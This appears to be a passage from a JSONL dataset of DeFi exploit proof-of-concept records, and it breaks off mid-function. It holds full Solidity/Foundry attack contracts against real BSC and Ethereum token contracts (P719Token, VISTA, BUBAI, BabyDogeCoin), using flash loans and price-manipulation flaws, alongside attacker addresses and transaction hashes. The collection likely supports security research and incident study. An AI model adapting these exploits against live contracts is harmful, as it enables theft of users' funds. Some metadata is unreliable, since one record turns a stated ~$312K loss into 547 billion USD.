"analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.74, "quality_estimate": "low", "title": "HYDT Exploit (2024-10)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 547.18 BNB (~$312K USD)\n// Attacker : https://bscscan.com/address/0xfeb19ae8c0448f25de43a3afcb7b29c9cef6eff6\n// Attack Contract : https://bscscan.com/address/0x3f32c7cfb0a78ddea80a2384ceb4633099cbdc98\n// Vulnerable Contract : https://bscscan.com/token/0x6beee2b57b064eac5f432fc19009e3e78734eabc\n// Attack Tx : https://bscscan.com/tx/0x9afcac8e82180fa5b2f346ca66cf6eb343cd1da5a2cd1b5117eb7eaaebe953b3\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/token/0x6beee2b57b064eac5f432fc19009e3e78734eabc#code\n// Not verified contract but the bug lies in `transfer()` function, when tokens are transferred to P719,\n// the action is processed as a sell, using a Uniswap-like swap mechanism to calculate the BNB amount to\n// be swapped.\n// After the swap, P719 burns the majority of sold tokens and transfers fee tokens from itself, which could\n// wrongly inflates the token's price.\n// More info: https://x.com/TenArmorAlert/status/1844929489823989953\n\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant PancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;\naddress constant weth = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n\naddress constant P719 = 0x6bEee2B57b064EAC5F432FC19009E3E78734Eabc;\n\ncontract P719Token_exp is Test {\n address attacker = makeAddr(\"attacker\");\n MyToken myToken;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 43_023_423 - 1);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attackerC = new AttackerC();\n vm.label(address(attackerC), \"attackerC\");\n\n // First the attacker create a owned token\n myToken = new MyToken();\n\n // Second create a pair in uniswap with WBNB\n vm.deal(attacker, 0.001 ether);\n myToken.approve(PancakeRouter, type(uint256).max);\n (,, uint256 liquidity) = IFS(PancakeRouter).addLiquidityETH{value: 0.001 ether}(\n address(myToken), 100 ether, 100 ether, 0.001 ether, attacker, block.timestamp\n );\n\n // Third create severals buy/sell contract to attack P719 contract\n attackerC.setup(address(myToken));\n\n // Fourth attack and sell to the created pair\n attackerC.attack();\n\n // Finally remove liquidity from the pair\n address factory = IFS(PancakeRouter).factory();\n address myPair = IFS(factory).getPair(weth, address(myToken));\n IERC20(myPair).approve(PancakeRouter, type(uint256).max);\n IFS(PancakeRouter).removeLiquidityETH(\n address(myToken), liquidity, 0, 547_180_977_558_295_682_131, attacker, block.timestamp\n );\n\n console.log(\"Final balance in WETH:\", attacker.balance);\n }\n}\n\ncontract AttackerC {\n address myToken;\n\n AttackerC2[] attackerC2s33;\n AttackerC2[] attackerC2s100;\n\n function setup(\n address _myToken\n ) external {\n myToken = _myToken;\n\n for (uint256 i; i < 33; i++) {\n attackerC2s33.push(new AttackerC2());\n }\n for (uint256 i; i < 100; i++) {\n attackerC2s100.push(new AttackerC2());\n }\n }\n\n function attack() external {\n IFS(PancakeV3Pool).flash(\n address(this), 0, 4000 ether, hex\"0000000000000000000000000000000000000000000000000000000000000001\"\n );\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n IFS(weth).withdraw(4000 ether);\n //uint256 supply = IERC20(P719).totalSupply();\n\n for (uint256 i; i < 14; i++) {\n AttackerC2 attC2 = new AttackerC2();\n attC2.buy{value: 10 ether}();\n }\n\n //uint256 supply = IERC20(P719).totalSupply();\n //uint256 bal = IERC20(P719).balanceOf(P719);\n\n for (uint256 i; i < attackerC2s33.length; i++) {\n //uint256 bal0 = IERC20(P719).balanceOf(P719);\n attackerC2s33[i].buy{value: 100 ether}();\n //uint256 bal1 = IERC20(P719).balanceOf(P719);\n }\n\n AttackerC2 attC2 = new AttackerC2();\n\n for (uint256 i; i < attackerC2s33.length; i++) {\n IERC20(P719).transferFrom(\n address(attackerC2s33[i]), address(attC2), IERC20(P719).balanceOf(address(attackerC2s33[i]))\n );\n }\n\n //IERC20(P719).approve(msg.sender, type(uint256).max);\n uint256 balAttC4 = IERC20(P719).balanceOf(address(attC2));\n\n for (uint256 i; i < attackerC2s100.length; i++) {\n IERC20(P719).transferFrom(address(attC2), address(attackerC2s100[i]), balAttC4 / 100);\n attackerC2s100[i].sell(balAttC4 / 100);\n }\n\n //uint256 supply2 = IERC20(P719).totalSupply();\n IFS(weth).deposit{value: address(this).balance}();\n\n uint256 bal3 = IERC20(weth).balanceOf(address(this));\n\n IERC20(weth).approve(PancakeRouter, type(uint256).max);\n //IERC20(myToken).approve(PancakeRouter, type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = weth;\n path[1] = myToken;\n\n IFS(PancakeRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n bal3 - 4000 ether - fee1, 0, path, address(this), block.timestamp\n );\n\n IERC20(weth).transfer(PancakeV3Pool, 4000 ether + fee1);\n }\n\n receive() external payable {}\n}\n\ncontract AttackerC2 {\n constructor() public payable {\n IERC20(P719).approve(msg.sender, type(uint256).max);\n }\n\n function buy() external payable {\n P719.call{value: msg.value}(\"\");\n }\n\n // Used by attackerC2s33 and attackerC2s100contracts\n function sell(\n uint256 amount\n ) external {\n IERC20(P719).transfer(P719, amount);\n msg.sender.call{value: address(this).balance}(\"\");\n }\n\n // Used by attackerC2s33 and attackerC2s100contracts\n receive() external payable {}\n}\n\ncontract MyToken {\n constructor() {\n balanceOf[msg.sender] += 10_000_000_000_000_000 ether;\n }\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n function approve(address spender, uint256 amount) public virtual returns (bool) {\n allowance[msg.sender][spender] = amount;\n return true;\n }\n\n function transfer(address to, uint256 amount) public virtual returns (bool) {\n balanceOf[msg.sender] -= amount;\n balanceOf[to] += amount;\n\n return true;\n }\n\n function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {\n uint256 allowed = allowance[from][msg.sender];\n if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;\n\n balanceOf[from] -= amount;\n balanceOf[to] += amount;\n\n return true;\n }\n}\n\ninterface IFS {\n // PancakeV3Pool\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n\n // WETH\n function withdraw(\n uint256\n ) external;\n function deposit() external payable;\n\n // PancakeRouter\n function factory() external view returns (address);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n function removeLiquidityETH(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountToken, uint256 amountETH);\n\n // PancakeFactory\n function getPair(address tokenA, address tokenB) external view returns (address pair);\n}\n", "type": "exploit_poc", "protocol": "P719Token", "date": "2024-10", "file_name": "P719Token_exp.sol", "attack_vector": null, "content_hash": "5a463ec6bc9261a2", "collected_at": "2026-01-07T10:59:16.511569", "_source": "postmortems", "chain": "bsc", "block_number": 43023423, "total_lost_raw": "547.18 BNB (~$312K USD)", "total_lost_usd": 547179999999.99994, "attacker_address": "https://bscscan.com/address/0xfeb19ae8c0448f25de43a3afcb7b29c9cef6eff6", "attack_contract": "https://bscscan.com/address/0x3f32c7cfb0a78ddea80a2384ceb4633099cbdc98", "vulnerable_contract": "https://bscscan.com/token/0x6beee2b57b064eac5f432fc19009e3e78734eabc", "attack_tx": "https://bscscan.com/tx/0x9afcac8e82180fa5b2f346ca66cf6eb343cd1da5a2cd1b5117eb7eaaebe953b3", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "547.18 BNB (~$312K USD)", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attackerC = new AttackerC();\n vm.label(address(attackerC), \"attackerC\");\n\n // First the attacker create a owned token\n myToken = new MyToken();\n\n // Second create a pair in uniswap with WBNB\n vm.deal(attacker, 0.001 ether);\n myToken.approve(PancakeRouter, type(uint256).max);\n (,, uint256 liquidity) = IFS(PancakeRouter).addLiquidityETH{value: 0.001 ether}(\n address(myToken), 100 ether, 100 ether, 0.001 ether, attacker, block.timestamp\n );\n\n // Third create severals buy/sell contract to attack P719 contract\n attackerC.setup(address(myToken));\n\n // Fourth attack and sell to the created pair\n attackerC.attack();\n\n // Finally remove liquidity from the pair\n address factory = IFS(PancakeRouter).factory();\n address myPair = IFS(factory).getPair(weth, address(myToken));\n IERC20(myPair).approve(PancakeRouter, type(uint256).max);\n IFS(PancakeRouter).removeLiquidityETH(\n address(myToken), liquidity, 0, 547_180_977_558_295_682_131, attacker, block.timestamp\n );\n\n console.log(\"Final balance in WETH:\", attacker.balance);\n }\n}\n\ncontract AttackerC {\n address myToken;\n\n AttackerC2[] attackerC2s33;\n AttackerC2[] attackerC2s100;", "has_exploit_code": true, "keyinfo_total_lost": "547.18 BNB (~$312K USD)", "keyinfo_attacker": "https://bscscan.com/address/0xfeb19ae8c0448f25de43a3afcb7b29c9cef6eff6", "keyinfo_attack_contract": "https://bscscan.com/address/0x3f32c7cfb0a78ddea80a2384ceb4633099cbdc98", "keyinfo_vulnerable_contract": "https://bscscan.com/token/0x6beee2b57b064eac5f432fc19009e3e78734eabc", "keyinfo_attack_tx": "https://bscscan.com/tx/0x9afcac8e82180fa5b2f346ca66cf6eb343cd1da5a2cd1b5117eb7eaaebe953b3", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$547180.00M", "content_richness_score": 9, "quality_estimate": "high", "title": "P719Token Exploit (2024-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// reason : flashloan will burn the token, but not check the token is freezed or not\n// guy : https://x.com/TenArmorAlert/status/1848403791881900130\n// tx : https://app.blocksec.com/explorer/tx/bsc/0x84c385aab658d86b64e132e8db0c092756d5a9331a1131bf05f8214d08efba56\n// total loss : 29k USDT\n\ncontract ContractTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V3 pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n Uni_Pair_V2 pair = Uni_Pair_V2(0x5E901164858d75852EF548B3729f44Dd93209c9c);\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Router_V3 routerV3 = Uni_Router_V3(0x1b81D678ffb9C0263b24A97847620C99d213eB14);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 HYDT = IERC20(0x9810512Be701801954449408966c630595D0cD51);\n address VISTA = 0x493361D6164093936c86Dcb35Ad03b4C0D032076;\n uint256 borrow_amount;\n address presale = 0x7C98b0cEEaFCf5b5B30871362035f728955b328c;\n address sale = 0xf738de9913bc1e21b1a985bb0E39Db75091263b7;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 43_305_237);\n deal(address(USDT), address(this), 0);\n // deal(address(WBNB), address(this), 11 ether);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), 18);\n borrow_amount = 1500 ether;\n pool.flash(address(this), borrow_amount, 0, \"\");\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {\n console.log(\"pancakeV3FlashCallback\");\n // console.log(USDT.balanceOf(address(this)));\n swap_token_to_token(address(USDT), address(BUSD), USDT.balanceOf(address(this)));\n console.log(BUSD.balanceOf(address(this)));\n BUSD.approve(presale, BUSD.balanceOf(address(this)));\n (bool success,) = presale.call(\n abi.encodeWithSignature(\"stake(uint256,address)\", BUSD.balanceOf(address(this)) / 1e18, address(this))\n );\n console.log(IERC20(VISTA).balanceOf(address(this)));\n uint256 amount = IERC20(VISTA).balanceOf(address(this));\n IERC20(VISTA).approve(address(VISTA), amount);\n (bool success1,) = VISTA.call(\n abi.encodeWithSignature(\"flashLoan(address,address,uint256,bytes)\", address(this), VISTA, amount, \"\")\n );\n USDT.transfer(address(pool), borrow_amount + fee0);\n }\n\n function onFlashLoan(\n address initiator,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata data\n ) external returns (bytes32) {\n (bool success3, bytes memory data) =\n VISTA.call(abi.encodeWithSignature(\"getFreeBalance(address)\", address(this)));\n uint256 freeBalance = abi.decode(data, (uint256));\n IERC20(VISTA).approve(sale, type(uint256).max - 1);\n (bool success,) = sale.call(\n abi.encodeWithSignature(\n \"sell(uint256,address)\", freeBalance * 22_860_000_000_000_000_000 / 1e18 - 1, address(this)\n )\n );\n return keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "VISTA", "date": "2024-10", "file_name": "VISTA_exp.sol", "attack_vector": "flash_loan", "content_hash": "655a88310e0df3c4", "collected_at": "2026-01-07T10:59:16.511634", "_source": "postmortems", "chain": "unknown", "block_number": 43305237, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.02, "quality_estimate": "low", "title": "VISTA Exploit (2024-10)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 131k\n// Attacker : https://etherscan.io/address/0xa60fae100d9c3d015c9cd7107f95cbacf58a1cbd\n// Attack Contract : \n// Vulnerable Contract : \n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x1b4730e715286862042def956d5aaa6a53203ee02b97ea913de73fa462e48f90?line=0\n// Another Similar Tx : https://app.blocksec.com/explorer/tx/eth/0x872fcfcfd2e61ab5ec848f5e1a75b75f471bdb8c808c06388434e7179a9e40db\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1851445795918118927\n// Twitter Guy : https://x.com/TenArmorAlert/status/1851445795918118927\n// Hacking God : N/A\n\naddress constant ORAAI = 0xB0f34bA1617BB7C2528e570070b8770E544b003E;\naddress constant UniswapV2Pair = 0x6DABCbd75B29bf19C98a33EcAC2eF7d6E949D75D;\naddress constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\naddress constant addr1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant attacker = 0xa60fae100d9c3d015c9CD7107F95cBacF58A1CbD;\naddress constant addr2 = 0xD15Ef15ec38a0DC4DA8948Ae51051cC40A41959b;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 21074245);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n\n vm.startPrank(UniswapV2Pair);\n IORAAI(ORAAI).approve(address(attC), type(uint256).max);\n vm.stopPrank();\n vm.startPrank(attacker, attacker);\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\ncontract AttackerC is Test {\n receive() external payable {}\n\n function attack() public {\n IORAAI(ORAAI).approve(UniswapV2Router02, type(uint256).max);\n\n uint256 pairBal = IORAAI(ORAAI).balanceOf(UniswapV2Pair);\n\n IORAAI(ORAAI).transferFrom(UniswapV2Pair, address(this), pairBal - 100);\n\n (bool s1, ) = UniswapV2Pair.call(abi.encodeWithSelector(IUniV2Pair.sync.selector));\n require(s1);\n \n uint256 bal = IORAAI(ORAAI).balanceOf(address(this));\n\n address weth = IUniswapV2Router02(UniswapV2Router02).WETH();\n\n address[] memory path = new address[](2);\n path[0] = ORAAI;\n path[1] = weth;\n IUniswapV2Router02(UniswapV2Router02).swapExactTokensForETHSupportingFeeOnTransferTokens(\n bal,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n payable(attacker).transfer(address(this).balance);\n }\n}\n\ninterface IORAAI {\n\tfunction balanceOf(address) external returns (uint256);\n\tfunction transferFrom(address, address, uint256) external returns (bool);\n\tfunction approve(address, uint256) external returns (bool);\n function allowance(address, address) external returns (uint256);\n}\n\ninterface IUniswapV2Router02 {\n\tfunction swapExactTokensForETHSupportingFeeOnTransferTokens(uint256, uint256, address[] calldata, address, uint256) external;\n\tfunction WETH() external returns (address); \n}\n\ninterface IUniV2Pair {\n function sync() external;\n}", "type": "exploit_poc", "protocol": "BUBAI", "date": "2024-10", "file_name": "BUBAI_exp.sol", "attack_vector": null, "content_hash": "3b25408284f19d51", "collected_at": "2026-01-07T10:59:16.511688", "_source": "postmortems", "chain": "ethereum", "block_number": 21074245, "total_lost_raw": "131k", "total_lost_usd": 131000.0, "attacker_address": "https://etherscan.io/address/0xa60fae100d9c3d015c9cd7107f95cbacf58a1cbd", "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x1b4730e715286862042def956d5aaa6a53203ee02b97ea913de73fa462e48f90?line=0", "postmortem_url": "https://x.com/TenArmorAlert/status/1851445795918118927", "twitter_url": "https://x.com/TenArmorAlert/status/1851445795918118927", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "131k", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n\n vm.startPrank(UniswapV2Pair);\n IORAAI(ORAAI).approve(address(attC), type(uint256).max);\n vm.stopPrank();\n vm.startPrank(attacker, attacker);\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\ncontract AttackerC is Test {\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "131k", "keyinfo_attacker": "https://etherscan.io/address/0xa60fae100d9c3d015c9cd7107f95cbacf58a1cbd", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x1b4730e715286862042def956d5aaa6a53203ee02b97ea913de73fa462e48f90?line=0", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1851445795918118927", "analysis_twitter": "https://x.com/TenArmorAlert/status/1851445795918118927", "funds_lost_formatted": "$131.0K", "content_richness_score": 6.68, "quality_estimate": "medium", "title": "BUBAI Exploit (2024-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~100K USD$\n// Attacker : https://bscscan.com/address/0xee6764ac7aa45ed52482e4320906fd75615ba1d1\n// Attack Contract : https://bscscan.com/address/0x9a6b926281b0c7bc4f775e81f42b13eda9c1c98e\n// Vulnerable Contract : https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de\n// Attack Tx : https://bscscan.com/tx/0xbaf3e4841614eca5480c63662b41cd058ee5c85dc69198b29e7ab63b84bc866c\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/hexagate_/status/1671517819840745475\n\ninterface IFeeFreeRouter {\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB);\n}\n\ninterface IBabyDogeCoin is IERC20 {\n function numTokensSellToAddToLiquidity() external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IBabyDogeCoin BabyDogeCoin = IBabyDogeCoin(0xc748673057861a797275CD8A068AbB95A902e8de);\n Uni_Pair_V3 pool = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);\n ICErc20Delegate vUSDT = ICErc20Delegate(0xfD5840Cd36d94D7229439859C0112a4185BC0255);\n ICErc20Delegate vBUSD = ICErc20Delegate(0x95c78222B3D6e262426483D42CfA53685A67Ab9D);\n crETH vBNB = crETH(0xA07c5b74C9B40447a954e1466938b865b6BBea36);\n Uni_Router_V2 BabyDogeRouter = Uni_Router_V2(0xC9a0F685F39d05D835c369036251ee3aEaaF3c47);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IFeeFreeRouter FeeFreeRouter = IFeeFreeRouter(0x9869674E80D632F93c338bd398408273D20a6C8e);\n IUnitroller Unitroller = IUnitroller(0xfD36E2c2a6789Db23113685031d7F16329158384);\n ISimplePriceOracle VenusChainlinkOracle = ISimplePriceOracle(0xd8B6dA2bfEC71D684D3E2a2FC9492dDad5C3787F);\n address PancakePair = 0xc736cA3d9b1E90Af4230BD8F9626528B3D4e0Ee0;\n address BabyDogeRouterPair = 0x0536c8b0c3685b6e3C62A7b5c4E8b83f938f12D1;\n uint256 borrowAmount;\n uint256 USDTFlashLoanAmount;\n uint256 BUSDFlashLoanAmount;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 29_295_010);\n vm.label(address(BUSD), \"BUSD\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(BabyDogeCoin), \"BabyDogeCoin\");\n vm.label(address(pool), \"pool\");\n vm.label(address(vBUSD), \"vBUSD\");\n vm.label(address(vUSDT), \"vUSDT\");\n vm.label(address(vBNB), \"vBNB\");\n vm.label(address(BabyDogeRouter), \"BabyDogeRouter\");\n vm.label(address(Router), \"Router\");\n vm.label(address(FeeFreeRouter), \"FeeFreeRouter\");\n vm.label(address(Unitroller), \"Unitroller\");\n vm.label(address(VenusChainlinkOracle), \"VenusChainlinkOracle\");\n vm.label(address(PancakePair), \"PancakePair\");\n vm.label(address(BabyDogeRouterPair), \"BabyDogeRouterPair\");\n }\n\n function testExploit() public {\n init();\n AddBabyDogeCoinWBNBLiquidity();\n exploit();\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function init() internal {\n USDT.approve(address(vUSDT), type(uint256).max);\n BUSD.approve(address(vBUSD), type(uint256).max);\n address[] memory cTokens = new address[](3);\n cTokens[0] = address(vUSDT);\n cTokens[1] = address(vBUSD);\n cTokens[2] = address(vBNB);\n Unitroller.enterMarkets(cTokens);\n }\n\n function AddBabyDogeCoinWBNBLiquidity() public payable {\n deal(address(this), 0.01 ether);\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BabyDogeCoin);\n BabyDogeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.005 ether}(\n 1, path, address(this), block.timestamp\n );\n WBNB.deposit{value: 0.005 ether}();\n WBNB.approve(address(FeeFreeRouter), WBNB.balanceOf(address(this)));\n BabyDogeCoin.approve(address(FeeFreeRouter), BabyDogeCoin.balanceOf(address(this)));\n FeeFreeRouter.addLiquidity(\n address(BabyDogeCoin),\n address(WBNB),\n BabyDogeCoin.balanceOf(address(this)) - 10_000 * 1e9,\n WBNB.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp\n );\n IERC20(BabyDogeRouterPair).approve(address(FeeFreeRouter), IERC20(BabyDogeRouterPair).balanceOf(address(this)));\n }\n\n function exploit() internal {\n pool.flash(address(this), USDT.balanceOf(address(pool)), BUSD.balanceOf(address(pool)), new bytes(0));\n }\n\n function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n borrowBNB();\n\n swapWBNBToBabyDogeCoinByBabyDogeRouterPair();\n Sandwich();\n swapBabyDogeCoinToWBNBByBabyDogeRouterPair();\n\n repayFlashLoan(amount0, amount1);\n }\n\n function borrowBNB() public payable {\n USDTFlashLoanAmount = USDT.balanceOf(address(this));\n BUSDFlashLoanAmount = BUSD.balanceOf(address(this));\n vUSDT.mint(USDT.balanceOf(address(this)));\n vBUSD.mint(BUSD.balanceOf(address(this)));\n (, uint256 AccountLiquidity,) = Unitroller.getAccountLiquidity(address(this));\n uint256 UnderlyingPrice = VenusChainlinkOracle.getUnderlyingPrice(address(vBNB));\n borrowAmount = (AccountLiquidity * 1e18 / UnderlyingPrice) * 9999 / 10_000;\n vBNB.borrow(borrowAmount);\n }\n\n function swapWBNBToBabyDogeCoinByBabyDogeRouterPair() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BabyDogeCoin);\n uint256 swapAmount =\n BabyDogeCoin.numTokensSellToAddToLiquidity() - BabyDogeCoin.balanceOf(address(BabyDogeCoin)) - 1e12;\n uint256[] memory amountIns = BabyDogeRouter.getAmountsIn(swapAmount, path);\n WBNB.deposit{value: address(this).balance}();\n WBNB.approve(address(BabyDogeRouter), amountIns[0]);\n BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIns[0], 0, path, address(FeeFreeRouter), block.timestamp\n );\n FeeFreeRouter.removeLiquidity(\n address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, address(BabyDogeCoin), block.timestamp\n ); // swap some WBNB to BabyDogeCoin , transfer to BabyDogeCoin contract\n\n WBNB.approve(address(BabyDogeRouter), WBNB.balanceOf(address(this)));\n BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(FeeFreeRouter), block.timestamp\n );\n FeeFreeRouter.removeLiquidity(address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, PancakePair, block.timestamp); // swap some WBNB to BabyDogeCoin , transfer to PancakePair contract\n }\n\n function Sandwich() internal {\n address[] memory path = new address[](2);\n path[0] = address(BabyDogeCoin);\n path[1] = address(WBNB);\n BabyDogeCoin.approve(address(Router), 1);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(1, 1, path, address(this), block.timestamp); // swap BabyDogeCoin to WBNB\n\n uint256 transferAmount =\n BabyDogeCoin.numTokensSellToAddToLiquidity() - BabyDogeCoin.balanceOf(address(BabyDogeCoin));\n BabyDogeCoin.transfer(address(BabyDogeCoin), transferAmount);\n BabyDogeCoin.transfer(address(this), 1); // trigger swap BabyDogeCoin to WBNB without slippage protection\n\n path[0] = address(WBNB);\n path[1] = address(BabyDogeCoin);\n WBNB.approve(address(Router), WBNB.balanceOf(address(this)));\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 1, path, address(FeeFreeRouter), block.timestamp\n ); // swap WBNB to BabyDogeCoin\n FeeFreeRouter.removeLiquidity(\n address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, address(BabyDogeRouterPair), block.timestamp\n );\n }\n\n function swapBabyDogeCoinToWBNBByBabyDogeRouterPair() internal {\n address[] memory path = new address[](2);\n path[0] = address(BabyDogeCoin);\n path[1] = address(WBNB);\n BabyDogeCoin.approve(address(BabyDogeRouter), 1);\n BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(1, 1, path, address(this), block.timestamp); // swap 